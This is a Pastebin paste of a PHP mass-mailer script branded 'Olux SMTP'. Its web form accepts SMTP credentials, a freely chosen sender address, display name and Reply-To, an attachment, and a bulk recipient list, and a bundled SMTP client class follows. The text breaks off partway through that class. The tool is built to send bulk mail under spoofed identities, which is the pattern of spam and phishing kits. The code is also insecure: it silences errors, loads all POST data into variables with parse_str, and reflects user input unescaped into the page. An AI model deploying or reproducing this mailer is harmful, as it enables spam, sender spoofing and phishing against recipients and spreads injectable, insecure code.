dragondevile

MAILER SMTP

Nov 19th, 2019
284
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 99.08 KB | None | 0 0
  1. <?php
  2. error_reporting(0);
  3. function query_str($params){
  4. $str = '';
  5. foreach ($params as $key => $value) {
  6. $str .= (strlen($str) < 1) ? '' : '&';
  7. $str .= $key . '=' . rawurlencode($value);
  8. }
  9. return ($str);
  10. }
  11. function lrtrim($string){
  12. return stripslashes(ltrim(rtrim($string)));
  13. }
  14. if(isset($_POST['action'] ) ){
  15.  
  16. $b = query_str($_POST);
  17. parse_str($b);
  18. $sslclick=lrtrim($sslclick);
  19. $action=lrtrim($action);
  20. $message=lrtrim($message);
  21. $emaillist=lrtrim($emaillist);
  22. $from=lrtrim($from);
  23. $reconnect=lrtrim($reconnect);
  24. $epriority=lrtrim($epriority);
  25. $my_smtp=lrtrim($my_smtp);
  26. $ssl_port=lrtrim($ssl_port);
  27. $smtp_username=lrtrim($smtp_username);
  28. $smtp_password=lrtrim($smtp_password);
  29. $replyto=lrtrim($replyto);
  30. $subject=lrtrim($subject);
  31. $realname=lrtrim($realname);
  32. $file_name=$_FILES['file']['name'];
  33. $file=$_FILES['file']['tmp_name'];
  34. $urlz=lrtrim($urlz);
  35. $contenttype=lrtrim($contenttype);
  36.  
  37. $message = urlencode($message);
  38. $message = ereg_replace("%5C%22", "%22", $message);
  39. $message = urldecode($message);
  40. $message = stripslashes($message);
  41. $subject = stripslashes($subject);
  42. }
  43. ?>
  44.  
  45. <html>
  46.  
  47. <head>
  48.  
  49. <title>Olux SMTP</title>
  50.  
  51. <meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1">
  52. <link href='https://www.olux.io/files/img/favicon.ico' rel='shortcut icon' type='image/x-icon'>
  53. <style type="text/css">
  54. <!--
  55. .style1 {
  56. font-family: Geneva, Arial, Helvetica, sans-serif;
  57. font-size: 12px;
  58. }
  59. -->
  60. </style>
  61. <style type="text/css">
  62. <!--
  63. .style1 {
  64. font-size: 10px;
  65. font-family: Geneva, Arial, Helvetica, sans-serif;
  66. }
  67. -->
  68. </style>
  69. </head>
  70. <body bgcolor="#FFFFFF" text="#000000">
  71. <span class="style1">PHP eMailer is created by olux.to<br>
  72. brought to you by <font color=\"#800000\">www.olux.to</font></span>
  73. <form name="form1" method="post" action="" enctype="multipart/form-data">
  74.  
  75. <br>
  76.  
  77. <table width="100%" border="0" height="407">
  78.  
  79. <tr>
  80.  
  81. <td width="100%" colspan="4" bgcolor="#666666" height="36">
  82.  
  83. <b>
  84.  
  85. <font face="Arial" size="2" color="#FFFFFF">&nbsp;SMTP SETUP</font></b></td>
  86.  
  87. </tr>
  88. <tr>
  89.  
  90. <td width="10%" height="22" bgcolor="#E8E8E8">
  91.  
  92. <div align="right"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">SMTP Login:</font></div>
  93.  
  94. </td>
  95.  
  96. <td width="18%" height="22" bgcolor="#E8E8E8"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
  97.  
  98. <input type="text" name="smtp_username" value="<?=$smtp_username;?>" size="30">
  99.  
  100. </font></td>
  101.  
  102. <td width="31%" height="22" bgcolor="#E8E8E8">
  103.  
  104. <div align="right"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">SMTP Pass:</font></div>
  105.  
  106. </td>
  107.  
  108. <td width="41%" height="22" bgcolor="#E8E8E8"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
  109.  
  110. <input type="text" name="smtp_password" value="<?=$smtp_password;?>" size="30">
  111.  
  112. </font></td>
  113.  
  114. </tr>
  115. <tr>
  116.  
  117. <td width="10%" height="22" bgcolor="#E8E8E8">
  118.  
  119. <div align="right">
  120. <font face="Verdana, Arial, Helvetica, sans-serif" size="-3">Port :</font></div>
  121.  
  122. </td>
  123.  
  124. <td width="18%" height="22" bgcolor="#E8E8E8"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
  125.  
  126. <input type="text" name="ssl_port" value="<?=$ssl_port;?>" size="5">
  127. (optional)</font></td>
  128.  
  129. <td width="31%" height="22" bgcolor="#E8E8E8">
  130.  
  131. <div align="right">
  132. <font face="Verdana, Arial, Helvetica, sans-serif" size="-3">SMTP Server
  133. Smtp:</font></div>
  134.  
  135. </td>
  136.  
  137. <td width="41%" height="22" bgcolor="#E8E8E8"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
  138.  
  139. <input type="text" name="my_smtp" value="<?=$my_smtp;?>" size="30">
  140.  
  141. </font></td>
  142.  
  143. </tr>
  144. <tr>
  145.  
  146. <td width="10%" height="22" bgcolor="#E8E8E8">
  147.  
  148. <p align="right">
  149. <font face="Verdana, Arial, Helvetica, sans-serif" size="-3">SSL Server:</font></td>
  150.  
  151. <td width="18%" height="22" bgcolor="#E8E8E8">
  152. <input type="checkbox" name="sslclick" value="ON" <? if($sslclick){ print "checked"; } ?> ><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">(yes)</font></td>
  153.  
  154. <td width="31%" height="22" bgcolor="#E8E8E8">
  155.  
  156. <p align="right">
  157. <font face="Verdana, Arial, Helvetica, sans-serif" size="-3">Reconnect
  158. After:</font></td>
  159.  
  160. <td width="41%" height="22" bgcolor="#E8E8E8"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
  161.  
  162. <input type="text" name="reconnect" value="<?=$reconnect;?>" size="5">
  163. EMAILS</font></td>
  164.  
  165. </tr>
  166. <tr>
  167.  
  168. <td width="100%" height="39" bgcolor="#E8E8E8" colspan="4">
  169.  
  170. <p align="center">
  171. <font face="Arial" style="font-size: 9pt" color="#800000"><b>&quot;</b> If
  172. you dont have SMTP login, leave blank queries above <b>&quot;</b></font></td>
  173.  
  174. </tr>
  175.  
  176. <tr>
  177.  
  178. <td width="10%" height="19">
  179.  
  180. &nbsp;</td>
  181.  
  182. <td width="18%" height="19">&nbsp;</td>
  183.  
  184. <td width="31%" height="19">
  185.  
  186. &nbsp;</td>
  187.  
  188. <td width="41%" height="19">&nbsp;</td>
  189.  
  190. </tr>
  191.  
  192. <tr>
  193.  
  194. <td width="100%" colspan="4" bgcolor="#666666" height="36">
  195.  
  196. <b>
  197.  
  198. <font face="Arial" size="2" color="#FFFFFF">&nbsp;MESSAGE SETUP</font></b></td>
  199.  
  200. </tr>
  201. <tr>
  202.  
  203. <td width="10%" height="22" bordercolor="#E8E8E8" bgcolor="#E8E8E8">
  204. <div align="right"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">Attach File :</font></div>
  205. </td>
  206.  
  207. <td width="59%" height="22" bordercolor="#E8E8E8" bgcolor="#E8E8E8" colSpan="3">
  208. <font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
  209.  
  210. <input type="file" name="file" size="124">
  211.  
  212. </font></td>
  213.  
  214. </tr>
  215. <tr>
  216.  
  217. <td width="10%" height="22" bordercolor="#E8E8E8" bgcolor="#E8E8E8">
  218.  
  219. <div align="right"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">Your
  220.  
  221. Email:</font></div>
  222.  
  223. </td>
  224.  
  225. <td width="18%" height="22" bordercolor="#E8E8E8" bgcolor="#E8E8E8"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
  226.  
  227. <input type="text" name="from" value="<?=$from;?>" size="30">
  228.  
  229. </font></td>
  230.  
  231. <td width="31%" height="22" bordercolor="#E8E8E8" bgcolor="#E8E8E8">
  232.  
  233. <div align="right"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">Your
  234.  
  235. Name:</font></div>
  236.  
  237. </td>
  238.  
  239. <td width="41%" height="22" bordercolor="#E8E8E8" bgcolor="#E8E8E8"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
  240.  
  241. <input type="text" name="realname" value="<?=$realname;?>" size="30">
  242.  
  243. </font></td>
  244.  
  245. </tr>
  246. <tr>
  247.  
  248. <td width="10%" height="22" bgcolor="#E8E8E8" bordercolor="#E8E8E8">
  249.  
  250. <div align="right"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">Reply-To:</font></div>
  251.  
  252. </td>
  253.  
  254. <td width="18%" height="22" bgcolor="#E8E8E8" bordercolor="#E8E8E8"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
  255.  
  256. <input type="text" name="replyto" value="<?=$replyto;?>" size="30">
  257.  
  258. </font></td>
  259.  
  260. <td width="31%" height="22" bgcolor="#E8E8E8" bordercolor="#E8E8E8">
  261.  
  262. <p align="right"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
  263. Email Priority:</font></td>
  264.  
  265. <td width="41%" height="22" bgcolor="#E8E8E8" bordercolor="#E8E8E8"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
  266.  
  267. &nbsp;</font><select name="epriority" id="listMethod" onchange="showHideListConfig()">
  268. <option value="" <? if(strlen($epriority)< 1){print "selected";} ?> >- Please Choose -</option>
  269. <option value="1" <? if($epriority == "1"){print "selected";} ?> >High</option>
  270. <option value="3" <? if($epriority == "3"){print "selected";} ?> >Normal</option>
  271. <option value="5" <? if($epriority == "5"){print "selected";} ?> >Low</option>
  272. </select></td>
  273.  
  274. </tr>
  275.  
  276. <tr>
  277.  
  278. <td width="10%" height="22" bordercolor="#E8E8E8" bgcolor="#E8E8E8">
  279.  
  280. <div align="right"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">Subject:</font></div>
  281.  
  282. </td>
  283.  
  284. <td colspan="3" height="22" bordercolor="#E8E8E8" bgcolor="#E8E8E8"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
  285.  
  286. <input type="text" name="subject" value="<?=$subject;?>" size="90">
  287.  
  288. </font></td>
  289.  
  290. </tr>
  291.  
  292. <tr>
  293.  
  294. <td width="10%" height="22" bordercolor="#E8E8E8" bgcolor="#E8E8E8">
  295.  
  296. &nbsp;</td>
  297.  
  298. <td colspan="3" height="22" bordercolor="#E8E8E8" bgcolor="#E8E8E8"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
  299.  
  300. &nbsp;</font></td>
  301.  
  302. </tr>
  303.  
  304. <tr valign="top">
  305.  
  306. <td colspan="3" height="190" bordercolor="#E8E8E8" bgcolor="#E8E8E8"><font size="-1" face="Verdana, Arial, Helvetica, sans-serif">
  307.  
  308. <textarea name="message" cols="60" rows="10"><?=$message;?></textarea>
  309.  
  310. <br>
  311.  
  312. <input type="radio" name="contenttype" value="plain" >
  313.  
  314. Plain
  315.  
  316. <input type="radio" name="contenttype" value="html" checked>
  317.  
  318. HTML
  319.  
  320. <input type="hidden" name="action" value="send">
  321.  
  322. <input type="submit" value="Send Message">
  323.  
  324. </font></td>
  325.  
  326. <td width="41%" height="190" bordercolor="#E8E8E8" bgcolor="#E8E8E8"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
  327.  
  328. <textarea name="emaillist" cols="30" rows="10"><?=$emaillist;?></textarea>
  329.  
  330. </font></td>
  331.  
  332. </tr>
  333.  
  334. </table>
  335.  
  336. </form>
  337.  
  338.  
  339.  
  340. <?
  341.  
  342. if ($action){
  343. if (!$from && !$subject && !$message && !$emaillist){
  344. print "<script>alert('Please complete all fields before sending your message.'); </script>";
  345. die(); }
  346.  
  347. class SMTP
  348. {
  349. /**
  350. * SMTP server port
  351. * @var int
  352. */
  353. var $SMTP_PORT = 25;
  354.  
  355. /**
  356. * SMTP reply line ending
  357. * @var string
  358. */
  359. var $CRLF = "\r\n";
  360.  
  361. /**
  362. * Sets whether debugging is turned on
  363. * @var bool
  364. */
  365. var $do_debug; # the level of debug to perform
  366.  
  367. /**
  368. * Sets VERP use on/off (default is off)
  369. * @var bool
  370. */
  371. var $do_verp = false;
  372.  
  373. /**#@+
  374. * @access private
  375. */
  376. var $smtp_conn; # the socket to the server
  377. var $error; # error if any on the last call
  378. var $helo_rply; # the reply the server sent to us for HELO
  379. /**#@-*/
  380.  
  381. /**
  382. * Initialize the class so that the data is in a known state.
  383. * @access public
  384. * @return void
  385. */
  386. function SMTP() {
  387. $this->smtp_conn = 0;
  388. $this->error = null;
  389. $this->helo_rply = null;
  390.  
  391. $this->do_debug = 0;
  392. }
  393.  
  394. /*************************************************************
  395. * CONNECTION FUNCTIONS *
  396. ***********************************************************/
  397.  
  398. /**
  399. * Connect to the server specified on the port specified.
  400. * If the port is not specified use the default SMTP_PORT.
  401. * If tval is specified then a connection will try and be
  402. * established with the server for that number of seconds.
  403. * If tval is not specified the default is 30 seconds to
  404. * try on the connection.
  405. *
  406. * SMTP CODE SUCCESS: 220
  407. * SMTP CODE FAILURE: 421
  408. * @access public
  409. * @return bool
  410. */
  411. function Connect($host,$port=0,$tval=30) {
  412. # set the error val to null so there is no confusion
  413. $this->error = null;
  414.  
  415. # make sure we are __not__ connected
  416. if($this->connected()) {
  417. # ok we are connected! what should we do?
  418. # for now we will just give an error saying we
  419. # are already connected
  420. $this->error = array("error" => "Already connected to a server");
  421. return false;
  422. }
  423.  
  424. if(empty($port)) {
  425. $port = $this->SMTP_PORT;
  426. }
  427.  
  428. #connect to the smtp server
  429. $this->smtp_conn = fsockopen($host, # the host of the server
  430. $port, # the port to use
  431. $errno, # error number if any
  432. $errstr, # error message if any
  433. $tval); # give up after ? secs
  434. # verify we connected properly
  435. if(empty($this->smtp_conn)) {
  436. $this->error = array("error" => "Failed to connect to server",
  437. "errno" => $errno,
  438. "errstr" => $errstr);
  439. if($this->do_debug >= 1) {
  440. echo "SMTP -> ERROR: " . $this->error["error"] .
  441. ": $errstr ($errno)" . $this->CRLF;
  442. }
  443. return false;
  444. }
  445.  
  446. # sometimes the SMTP server takes a little longer to respond
  447. # so we will give it a longer timeout for the first read
  448. // Windows still does not have support for this timeout function
  449. if(substr(PHP_OS, 0, 3) != "WIN")
  450. socket_set_timeout($this->smtp_conn, $tval, 0);
  451.  
  452. # get any announcement stuff
  453. $announce = $this->get_lines();
  454.  
  455. # set the timeout of any socket functions at 1/10 of a second
  456. //if(function_exists("socket_set_timeout"))
  457. // socket_set_timeout($this->smtp_conn, 0, 100000);
  458.  
  459. if($this->do_debug >= 2) {
  460. echo "SMTP -> FROM SERVER:" . $this->CRLF . $announce;
  461. }
  462.  
  463. return true;
  464. }
  465.  
  466. /**
  467. * Performs SMTP authentication. Must be run after running the
  468. * Hello() method. Returns true if successfully authenticated.
  469. * @access public
  470. * @return bool
  471. */
  472. function Authenticate($username, $password) {
  473. // Start authentication
  474. fputs($this->smtp_conn,"AUTH LOGIN" . $this->CRLF);
  475.  
  476. $rply = $this->get_lines();
  477. $code = substr($rply,0,3);
  478.  
  479. if($code != 334) {
  480. $this->error =
  481. array("error" => "AUTH not accepted from server",
  482. "smtp_code" => $code,
  483. "smtp_msg" => substr($rply,4));
  484. if($this->do_debug >= 1) {
  485. echo "SMTP -> ERROR: " . $this->error["error"] .
  486. ": " . $rply . $this->CRLF;
  487. }
  488. return false;
  489. }
  490.  
  491. // Send encoded username
  492. fputs($this->smtp_conn, base64_encode($username) . $this->CRLF);
  493.  
  494. $rply = $this->get_lines();
  495. $code = substr($rply,0,3);
  496.  
  497. if($code != 334) {
  498. $this->error =
  499. array("error" => "Username not accepted from server",
  500. "smtp_code" => $code,
  501. "smtp_msg" => substr($rply,4));
  502. if($this->do_debug >= 1) {
  503. echo "SMTP -> ERROR: " . $this->error["error"] .
  504. ": " . $rply . $this->CRLF;
  505. }
  506. return false;
  507. }
  508.  
  509. // Send encoded password
  510. fputs($this->smtp_conn, base64_encode($password) . $this->CRLF);
  511.  
  512. $rply = $this->get_lines();
  513. $code = substr($rply,0,3);
  514.  
  515. if($code != 235) {
  516. $this->error =
  517. array("error" => "Password not accepted from server",
  518. "smtp_code" => $code,
  519. "smtp_msg" => substr($rply,4));
  520. if($this->do_debug >= 1) {
  521. echo "SMTP -> ERROR: " . $this->error["error"] .
  522. ": " . $rply . $this->CRLF;
  523. }
  524. return false;
  525. }
  526.  
  527. return true;
  528. }
  529.  
  530. /**
  531. * Returns true if connected to a server otherwise false
  532. * @access private
  533. * @return bool
  534. */
  535. function Connected() {
  536. if(!empty($this->smtp_conn)) {
  537. $sock_status = socket_get_status($this->smtp_conn);
  538. if($sock_status["eof"]) {
  539. # hmm this is an odd situation... the socket is
  540. # valid but we are not connected anymore
  541. if($this->do_debug >= 1) {
  542. echo "SMTP -> NOTICE:" . $this->CRLF .
  543. "EOF caught while checking if connected";
  544. }
  545. $this->Close();
  546. return false;
  547. }
  548. return true; # everything looks good
  549. }
  550. return false;
  551. }
  552.  
  553. /**
  554. * Closes the socket and cleans up the state of the class.
  555. * It is not considered good to use this function without
  556. * first trying to use QUIT.
  557. * @access public
  558. * @return void
  559. */
  560. function Close() {
  561. $this->error = null; # so there is no confusion
  562. $this->helo_rply = null;
  563. if(!empty($this->smtp_conn)) {
  564. # close the connection and cleanup
  565. fclose($this->smtp_conn);
  566. $this->smtp_conn = 0;
  567. }
  568. }
  569.  
  570. /***************************************************************
  571. * SMTP COMMANDS *
  572. *************************************************************/
  573.  
  574. /**
  575. * Issues a data command and sends the msg_data to the server
  576. * finializing the mail transaction. $msg_data is the message
  577. * that is to be send with the headers. Each header needs to be
  578. * on a single line followed by a <CRLF> with the message headers
  579. * and the message body being seperated by and additional <CRLF>.
  580. *
  581. * Implements rfc 821: DATA <CRLF>
  582. *
  583. * SMTP CODE INTERMEDIATE: 354
  584. * [data]
  585. * <CRLF>.<CRLF>
  586. * SMTP CODE SUCCESS: 250
  587. * SMTP CODE FAILURE: 552,554,451,452
  588. * SMTP CODE FAILURE: 451,554
  589. * SMTP CODE ERROR : 500,501,503,421
  590. * @access public
  591. * @return bool
  592. */
  593. function Data($msg_data) {
  594. $this->error = null; # so no confusion is caused
  595.  
  596. if(!$this->connected()) {
  597. $this->error = array(
  598. "error" => "Called Data() without being connected");
  599. return false;
  600. }
  601.  
  602. fputs($this->smtp_conn,"DATA" . $this->CRLF);
  603.  
  604. $rply = $this->get_lines();
  605. $code = substr($rply,0,3);
  606.  
  607. if($this->do_debug >= 2) {
  608. echo "SMTP -> FROM SERVER:" . $this->CRLF . $rply;
  609. }
  610.  
  611. if($code != 354) {
  612. $this->error =
  613. array("error" => "DATA command not accepted from server",
  614. "smtp_code" => $code,
  615. "smtp_msg" => substr($rply,4));
  616. if($this->do_debug >= 1) {
  617. echo "SMTP -> ERROR: " . $this->error["error"] .
  618. ": " . $rply . $this->CRLF;
  619. }
  620. return false;
  621. }
  622.  
  623. # the server is ready to accept data!
  624. # according to rfc 821 we should not send more than 1000
  625. # including the CRLF
  626. # characters on a single line so we will break the data up
  627. # into lines by \r and/or \n then if needed we will break
  628. # each of those into smaller lines to fit within the limit.
  629. # in addition we will be looking for lines that start with
  630. # a period '.' and append and additional period '.' to that
  631. # line. NOTE: this does not count towards are limit.
  632.  
  633. # normalize the line breaks so we know the explode works
  634. $msg_data = str_replace("\r\n","\n",$msg_data);
  635. $msg_data = str_replace("\r","\n",$msg_data);
  636. $lines = explode("\n",$msg_data);
  637.  
  638. # we need to find a good way to determine is headers are
  639. # in the msg_data or if it is a straight msg body
  640. # currently I am assuming rfc 822 definitions of msg headers
  641. # and if the first field of the first line (':' sperated)
  642. # does not contain a space then it _should_ be a header
  643. # and we can process all lines before a blank "" line as
  644. # headers.
  645. $field = substr($lines[0],0,strpos($lines[0],":"));
  646. $in_headers = false;
  647. if(!empty($field) && !strstr($field," ")) {
  648. $in_headers = true;
  649. }
  650.  
  651. $max_line_length = 998; # used below; set here for ease in change
  652.  
  653. while(list(,$line) = @each($lines)) {
  654. $lines_out = null;
  655. if($line == "" && $in_headers) {
  656. $in_headers = false;
  657. }
  658. # ok we need to break this line up into several
  659. # smaller lines
  660. while(strlen($line) > $max_line_length) {
  661. $pos = strrpos(substr($line,0,$max_line_length)," ");
  662.  
  663. # Patch to fix DOS attack
  664. if(!$pos) {
  665. $pos = $max_line_length - 1;
  666. }
  667.  
  668. $lines_out[] = substr($line,0,$pos);
  669. $line = substr($line,$pos + 1);
  670. # if we are processing headers we need to
  671. # add a LWSP-char to the front of the new line
  672. # rfc 822 on long msg headers
  673. if($in_headers) {
  674. $line = "\t" . $line;
  675. }
  676. }
  677. $lines_out[] = $line;
  678.  
  679. # now send the lines to the server
  680. while(list(,$line_out) = @each($lines_out)) {
  681. if(strlen($line_out) > 0)
  682. {
  683. if(substr($line_out, 0, 1) == ".") {
  684. $line_out = "." . $line_out;
  685. }
  686. }
  687. fputs($this->smtp_conn,$line_out . $this->CRLF);
  688. }
  689. }
  690.  
  691. # ok all the message data has been sent so lets get this
  692. # over with aleady
  693. fputs($this->smtp_conn, $this->CRLF . "." . $this->CRLF);
  694.  
  695. $rply = $this->get_lines();
  696. $code = substr($rply,0,3);
  697.  
  698. if($this->do_debug >= 2) {
  699. echo "SMTP -> FROM SERVER:" . $this->CRLF . $rply;
  700. }
  701.  
  702. if($code != 250) {
  703. $this->error =
  704. array("error" => "DATA not accepted from server",
  705. "smtp_code" => $code,
  706. "smtp_msg" => substr($rply,4));
  707. if($this->do_debug >= 1) {
  708. echo "SMTP -> ERROR: " . $this->error["error"] .
  709. ": " . $rply . $this->CRLF;
  710. }
  711. return false;
  712. }
  713. return true;
  714. }
  715.  
  716. /**
  717. * Expand takes the name and asks the server to list all the
  718. * people who are members of the _list_. Expand will return
  719. * back and array of the result or false if an error occurs.
  720. * Each value in the array returned has the format of:
  721. * [ <full-name> <sp> ] <path>
  722. * The definition of <path> is defined in rfc 821
  723. *
  724. * Implements rfc 821: EXPN <SP> <string> <CRLF>
  725. *
  726. * SMTP CODE SUCCESS: 250
  727. * SMTP CODE FAILURE: 550
  728. * SMTP CODE ERROR : 500,501,502,504,421
  729. * @access public
  730. * @return string array
  731. */
  732. function Expand($name) {
  733. $this->error = null; # so no confusion is caused
  734.  
  735. if(!$this->connected()) {
  736. $this->error = array(
  737. "error" => "Called Expand() without being connected");
  738. return false;
  739. }
  740.  
  741. fputs($this->smtp_conn,"EXPN " . $name . $this->CRLF);
  742.  
  743. $rply = $this->get_lines();
  744. $code = substr($rply,0,3);
  745.  
  746. if($this->do_debug >= 2) {
  747. echo "SMTP -> FROM SERVER:" . $this->CRLF . $rply;
  748. }
  749.  
  750. if($code != 250) {
  751. $this->error =
  752. array("error" => "EXPN not accepted from server",
  753. "smtp_code" => $code,
  754. "smtp_msg" => substr($rply,4));
  755. if($this->do_debug >= 1) {
  756. echo "SMTP -> ERROR: " . $this->error["error"] .
  757. ": " . $rply . $this->CRLF;
  758. }
  759. return false;
  760. }
  761.  
  762. # parse the reply and place in our array to return to user
  763. $entries = explode($this->CRLF,$rply);
  764. while(list(,$l) = @each($entries)) {
  765. $list[] = substr($l,4);
  766. }
  767.  
  768. return $list;
  769. }
  770.  
  771. /**
  772. * Sends the HELO command to the smtp server.
  773. * This makes sure that we and the server are in
  774. * the same known state.
  775. *
  776. * Implements from rfc 821: HELO <SP> <domain> <CRLF>
  777. *
  778. * SMTP CODE SUCCESS: 250
  779. * SMTP CODE ERROR : 500, 501, 504, 421
  780. * @access public
  781. * @return bool
  782. */
  783. function Hello($host="") {
  784. $this->error = null; # so no confusion is caused
  785.  
  786. if(!$this->connected()) {
  787. $this->error = array(
  788. "error" => "Called Hello() without being connected");
  789. return false;
  790. }
  791.  
  792. # if a hostname for the HELO was not specified determine
  793. # a suitable one to send
  794. if(empty($host)) {
  795. # we need to determine some sort of appopiate default
  796. # to send to the server
  797. $host = "localhost";
  798. }
  799.  
  800. // Send extended hello first (RFC 2821)
  801. if(!$this->SendHello("EHLO", $host))
  802. {
  803. if(!$this->SendHello("HELO", $host))
  804. return false;
  805. }
  806.  
  807. return true;
  808. }
  809.  
  810. /**
  811. * Sends a HELO/EHLO command.
  812. * @access private
  813. * @return bool
  814. */
  815. function SendHello($hello, $host) {
  816. fputs($this->smtp_conn, $hello . " " . $host . $this->CRLF);
  817.  
  818. $rply = $this->get_lines();
  819. $code = substr($rply,0,3);
  820.  
  821. if($this->do_debug >= 2) {
  822. echo "SMTP -> FROM SERVER: " . $this->CRLF . $rply;
  823. }
  824.  
  825. if($code != 250) {
  826. $this->error =
  827. array("error" => $hello . " not accepted from server",
  828. "smtp_code" => $code,
  829. "smtp_msg" => substr($rply,4));
  830. if($this->do_debug >= 1) {
  831. echo "SMTP -> ERROR: " . $this->error["error"] .
  832. ": " . $rply . $this->CRLF;
  833. }
  834. return false;
  835. }
  836.  
  837. $this->helo_rply = $rply;
  838.  
  839. return true;
  840. }
  841.  
  842. /**
  843. * Gets help information on the keyword specified. If the keyword
  844. * is not specified then returns generic help, ussually contianing
  845. * A list of keywords that help is available on. This function
  846. * returns the results back to the user. It is up to the user to
  847. * handle the returned data. If an error occurs then false is
  848. * returned with $this->error set appropiately.
  849. *
  850. * Implements rfc 821: HELP [ <SP> <string> ] <CRLF>
  851. *
  852. * SMTP CODE SUCCESS: 211,214
  853. * SMTP CODE ERROR : 500,501,502,504,421
  854. * @access public
  855. * @return string
  856. */
  857. function Help($keyword="") {
  858. $this->error = null; # to avoid confusion
  859.  
  860. if(!$this->connected()) {
  861. $this->error = array(
  862. "error" => "Called Help() without being connected");
  863. return false;
  864. }
  865.  
  866. $extra = "";
  867. if(!empty($keyword)) {
  868. $extra = " " . $keyword;
  869. }
  870.  
  871. fputs($this->smtp_conn,"HELP" . $extra . $this->CRLF);
  872.  
  873. $rply = $this->get_lines();
  874. $code = substr($rply,0,3);
  875.  
  876. if($this->do_debug >= 2) {
  877. echo "SMTP -> FROM SERVER:" . $this->CRLF . $rply;
  878. }
  879.  
  880. if($code != 211 && $code != 214) {
  881. $this->error =
  882. array("error" => "HELP not accepted from server",
  883. "smtp_code" => $code,
  884. "smtp_msg" => substr($rply,4));
  885. if($this->do_debug >= 1) {
  886. echo "SMTP -> ERROR: " . $this->error["error"] .
  887. ": " . $rply . $this->CRLF;
  888. }
  889. return false;
  890. }
  891.  
  892. return $rply;
  893. }
  894.  
  895. /**
  896. * Starts a mail transaction from the email address specified in
  897. * $from. Returns true if successful or false otherwise. If True
  898. * the mail transaction is started and then one or more Recipient
  899. * commands may be called followed by a Data command.
  900. *
  901. * Implements rfc 821: MAIL <SP> FROM:<reverse-path> <CRLF>
  902. *
  903. * SMTP CODE SUCCESS: 250
  904. * SMTP CODE SUCCESS: 552,451,452
  905. * SMTP CODE SUCCESS: 500,501,421
  906. * @access public
  907. * @return bool
  908. */
  909. function Mail($from) {
  910. $this->error = null; # so no confusion is caused
  911.  
  912. if(!$this->connected()) {
  913. $this->error = array(
  914. "error" => "Called Mail() without being connected");
  915. return false;
  916. }
  917.  
  918. $useVerp = ($this->do_verp ? "XVERP" : "");
  919. fputs($this->smtp_conn,"MAIL FROM:<" . $from . ">" . $useVerp . $this->CRLF);
  920.  
  921. $rply = $this->get_lines();
  922. $code = substr($rply,0,3);
  923.  
  924. if($this->do_debug >= 2) {
  925. echo "SMTP -> FROM SERVER:" . $this->CRLF . $rply;
  926. }
  927.  
  928. if($code != 250) {
  929. $this->error =
  930. array("error" => "MAIL not accepted from server",
  931. "smtp_code" => $code,
  932. "smtp_msg" => substr($rply,4));
  933. if($this->do_debug >= 1) {
  934. echo "SMTP -> ERROR: " . $this->error["error"] .
  935. ": " . $rply . $this->CRLF;
  936. }
  937. return false;
  938. }
  939. return true;
  940. }
  941.  
  942. /**
  943. * Sends the command NOOP to the SMTP server.
  944. *
  945. * Implements from rfc 821: NOOP <CRLF>
  946. *
  947. * SMTP CODE SUCCESS: 250
  948. * SMTP CODE ERROR : 500, 421
  949. * @access public
  950. * @return bool
  951. */
  952. function Noop() {
  953. $this->error = null; # so no confusion is caused
  954.  
  955. if(!$this->connected()) {
  956. $this->error = array(
  957. "error" => "Called Noop() without being connected");
  958. return false;
  959. }
  960.  
  961. fputs($this->smtp_conn,"NOOP" . $this->CRLF);
  962.  
  963. $rply = $this->get_lines();
  964. $code = substr($rply,0,3);
  965.  
  966. if($this->do_debug >= 2) {
  967. echo "SMTP -> FROM SERVER:" . $this->CRLF . $rply;
  968. }
  969.  
  970. if($code != 250) {
  971. $this->error =
  972. array("error" => "NOOP not accepted from server",
  973. "smtp_code" => $code,
  974. "smtp_msg" => substr($rply,4));
  975. if($this->do_debug >= 1) {
  976. echo "SMTP -> ERROR: " . $this->error["error"] .
  977. ": " . $rply . $this->CRLF;
  978. }
  979. return false;
  980. }
  981. return true;
  982. }
  983.  
  984. /**
  985. * Sends the quit command to the server and then closes the socket
  986. * if there is no error or the $close_on_error argument is true.
  987. *
  988. * Implements from rfc 821: QUIT <CRLF>
  989. *
  990. * SMTP CODE SUCCESS: 221
  991. * SMTP CODE ERROR : 500
  992. * @access public
  993. * @return bool
  994. */
  995. function Quit($close_on_error=true) {
  996. $this->error = null; # so there is no confusion
  997.  
  998. if(!$this->connected()) {
  999. $this->error = array(
  1000. "error" => "Called Quit() without being connected");
  1001. return false;
  1002. }
  1003.  
  1004. # send the quit command to the server
  1005. fputs($this->smtp_conn,"quit" . $this->CRLF);
  1006.  
  1007. # get any good-bye messages
  1008. $byemsg = $this->get_lines();
  1009.  
  1010. if($this->do_debug >= 2) {
  1011. echo "SMTP -> FROM SERVER:" . $this->CRLF . $byemsg;
  1012. }
  1013.  
  1014. $rval = true;
  1015. $e = null;
  1016.  
  1017. $code = substr($byemsg,0,3);
  1018. if($code != 221) {
  1019. # use e as a tmp var cause Close will overwrite $this->error
  1020. $e = array("error" => "SMTP server rejected quit command",
  1021. "smtp_code" => $code,
  1022. "smtp_rply" => substr($byemsg,4));
  1023. $rval = false;
  1024. if($this->do_debug >= 1) {
  1025. echo "SMTP -> ERROR: " . $e["error"] . ": " .
  1026. $byemsg . $this->CRLF;
  1027. }
  1028. }
  1029.  
